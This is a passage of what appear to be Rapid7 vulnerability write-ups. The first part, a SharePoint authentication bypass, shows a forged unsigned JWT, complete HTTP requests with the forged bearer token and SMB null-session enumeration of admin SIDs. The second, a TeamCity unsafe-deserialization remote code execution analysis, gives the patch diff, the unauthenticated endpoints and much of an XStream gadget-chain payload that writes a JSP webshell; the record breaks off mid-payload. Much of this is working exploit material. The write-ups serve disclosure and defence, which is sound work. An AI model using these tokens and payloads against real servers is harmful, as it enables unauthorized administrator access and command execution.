zUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

For completeness, the parsed x509 certificate is shown below.

Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}

Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.

We then begin to construct the malicious JWT. The outer token will have a header of:

{"alg": "none", "typ": "JWT"}

The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.

As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain's Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, ...) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. administrator@domain.local or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN's, which is best suited to manual reconnaissance.

{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server's STS signing certificate.

{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.

{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

And a signature which is an arbitrary non-empty string:

AAAA

Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.

GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose


The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.

POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

Whose response contains a new FormDigestValue we can begin to use.

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)

7 August 2026 at 10:32

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

  1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

  2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

  3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

  4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

  5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

figure1.png

Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
